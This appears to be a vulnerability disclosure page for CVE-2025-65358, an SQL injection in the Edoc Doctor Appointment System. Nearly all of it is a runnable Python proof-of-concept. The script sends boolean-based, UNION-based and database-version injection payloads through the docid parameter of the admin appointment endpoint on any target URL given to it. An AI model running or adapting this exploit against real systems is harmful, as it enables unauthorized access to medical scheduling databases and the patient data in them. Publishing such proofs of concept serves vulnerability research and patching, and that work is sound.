CVE-2025-65358 Edoc医生预约系统SQL注入漏洞

import requests import sys # CVE-2025-65358 SQL Injection PoC # Target: Edoc Doctor Appointment System v1.0.1 # Endpoint: /admin/appointment.php # Vulnerable Parameter: docid def test_sql_injection(url): """Test for SQL injection vulnerability in docid parameter""" target_url = f"{url}/admin/appointment.php" # Basic boolean-based injection test payload_true = "1' AND 1=1 -- -" payload_false = "1' AND 1=2 -- -" print(f"[*] Testing SQL injection on {target_url}") print(f"[*] Vulnerable parameter: docid") # Test true condition params = {'docid': payload_true} try: response = requests.get(target_url, params=params, timeout=10) print(f"[+] True condition response length: {len(response.text)}") # Test false condition params['docid'] = payload_false response = requests.get(target_url, params=params, timeout=10) print(f"[+] False condition response length: {len(response.text)}") # Union-based injection to extract database info union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8 -- -" params['docid'] = union_payload response = requests.get(target_url, params=params, timeout=10) print(f"[+] Union injection response length: {len(response.text)}") # Extract database version version_payload = "1' UNION SELECT 1,@@version,3,4,5,6,7,8 -- -" params['docid'] = version_payload response = requests.get(target_url, params=params, timeout=10) if '5.' in response.text or '8.' in response.text: print(f"[!] Database version detected - Vulnerability confirmed!") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') test_sql_injection(target)